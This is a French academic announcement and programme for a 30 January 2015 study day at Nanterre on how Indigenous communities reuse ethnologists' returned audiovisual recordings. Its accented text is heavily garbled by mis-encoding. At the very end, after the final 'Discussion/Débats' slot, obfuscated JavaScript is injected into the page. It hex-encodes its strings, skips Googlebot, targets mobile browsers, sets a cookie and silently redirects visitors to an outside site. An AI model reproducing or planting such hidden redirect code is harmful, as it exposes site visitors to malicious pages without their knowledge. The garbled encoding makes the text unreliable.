JOURNA�E D’A�TUDE FABRIQ’AM : De la restitution intelligible A� la rA�appropriation active, le 30 janvier 2015, LESC-MAE, Nanterre

DE LA RESTITUTION INTELLIGIBLE A� LA RA�APPROPRIATION ACTIVE : LES ENJEUX LOCAUX DU RETOUR DES DONNA�ES AUDIOVISUELLES DES ETHNOLOGUESA�

A�Le 30 janvier 2015

Laboratoire da��Ethnologie et de Sociologie ComparativeA�- Salle 308

Maison Ethnologie et ArchA�ologie RenA�-GinouvA?s

21, allA�e de la��UniversitA�

UniversitA� Paris Ouest Nanterre

de 10h A� 18 heures

Dans le cadre de la��ANR FABRIQa��AM, La fabrique des A� patrimoines A� : MA�moires, savoir et politique en AmA�rique indienne aujourda��hui, cette journA�e da��A�tude internationale sa��attachera A� la��analyse des enjeux entourant la restitution des donnA�es audio-visuelles des ethnologues aux populations dont elles A�manent originellement.

La journA�e sera consacrA�e A� une rA�flexion sur les usages locaux des donnA�es audio-visuelles que les ethnologues rapportent de, traitent, puis ramA?nent sur leurs lieux da��enquA?te respectifs. Ces donnA�es sont le plus souvent restituA�es avec, en arriA?re-plan, une intention patrimoniale. On espA?re souvent les voir prA�servA�es sur place comme tA�moignage da��un passA� valorisA�, monumentalisA�es dans la��A�quivalent local de musA�es, bibliothA?ques, photothA?ques, sonothA?ques ou centres culturels de tout ordre. Or les acteurs locaux les utilisent frA�quemment A� des fins tout autres : comme instruments politiques, comme supports de mA�moire ou de crA�ation de discours (historiques, musicologiques, gA�nA�alogiquesa��) rA�pondant A� des prA�occupations et des projets qui leur sont propres, ancrA�s dans des stratA�gies locales contemporaines.

Pour le dire autrement, les ethnologues enregistrent, analysent, transforment, puis restituent leurs donnA�es avec une visA�e clairement patrimoniale, mais qua��en est-il A� la��A�chelle locale, dans des contextes oA? la��archivage et la conservation constituent rarement des enjeux prioritaires ? Il sa��agira donc de sa��interroger sur la maniA?re dont les donnA�es anciennes sont non seulement valorisA�es pour elles-mA?mes (dans une optique mA�morielle) mais de surcroA�t utilisA�es pour valoriser A� leur tour des pratiques plus contemporaines. Partant de ce constat que les donnA�es restituA�s deviennent frA�quemment le support da��une activitA� crA�atrice et rA�flexive qui ne relA?ve pas de la simple dA�marche conservatoire, on sa��intA�ressera A� ce qua��on pourrait appeler leurs modalitA�s de rA�-indigA�nisation.

Quels dA�bats, quelles tensions, quelles polA�miques peuvent provoquer le retour da��un CD ou da��un film, par exemple ? Quels conflits (ou au contraire quels enthousiasmes) crA�ent-il ou rA�activent-ils ? A� quelles finalitA�s extra-patrimoniales de tels objets sont-ils soumis ? Servent-ils de source da��inspiration pour de nouvelles crA�ations ? De supports pour des discours sur la��A�volution rA�cente da��une tradition ou de prA�texte pour la lA�gitimation de telle ou telle pratique nouvelle ?

Les objets restituA�s suscitent des lectures et des projets diffA�renciA�s selon les catA�gories sociales, da��A?ge, de genrea�� On se demandera donc quels paramA?tres pA?sent sur le travail de rA�appropriation (par exemple la proximitA� gA�nA�alogique avec les producteurs originels ; les projets A�conomiques, politiques et mA?me culturels des diffA�rents acteurs ; les statuts respectifs des uns et des autresa��). Outre des questions A�thiques et politiques, cette journA�e sera aussi la��occasion de sa��interroger sur des questions concrA?tes, telles la��impact sur leur devenir local du support choisi pour le rendu des donnA�es. Restituer en ligne, par les ondes, sous forme de cassettes, de CD/DVD, ou au moyen de clefs usb, par exemple, touche des acteurs et des publics diffA�rents, da��A?ge et de conditions sociales diffA�rentes, induisant certainement des formes de rA�appropriation distinctes auxquelles nous nous efforcerons de rA�flA�chir A� partir da��expA�riences vA�cues sur divers lieux da��enquA?te en IndonA�sie (Toraja) et dans les AmA�riques, en Bolivie (Chacobo), au BrA�sil (Ikpeng, Tikuna), en Guyane FranA�aise (WayA?pi), et au PA�rou (Amahuaca).

Organisation :

Philippe Erikson (EREA-LESC) : <erikson@u-paris10.fr>

Jean-Michel Beaudet (CREM-LESC) : <jeanmichelbeaudet@yahoo.fr>

 

PROGRAMME

9h30

Accueil des participants

9h45-10h

Philippe Erikson (EREA-LESC)

PrA�sentation de la journA�e ; introduction

10h-11h30

Edmundo Pereira (Universidade Federal do Rio de Janeiro)

Dissensions tikuna autour du choix du rA�pertoire musical le plus reprA�sentatif

Pause

11h45-12h30

Jean-Michel Beaudet (CREM-LESC)

Retour aux WayA?pi (GF)

12h30-13h00

Discussion

DA�jeuner

14h00-14h45

Patrick Menget (EPHE)

ExpA�rience de restitution de donnA�es aux Ikpeng

14h45-15h30

Christopher Hewlett (University of Saint-Andrews) :

Returning Robert Carneiroa��s data to the Amahuaca

Pause

16h00-16h45

Dana Rappoport (Cnrs, Centre Asie du Sud-Est) :

Restituer aux Toraja (Sulawesi, IndonA�sie)

16h45-17h30

Discussion/DA�batsvar _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}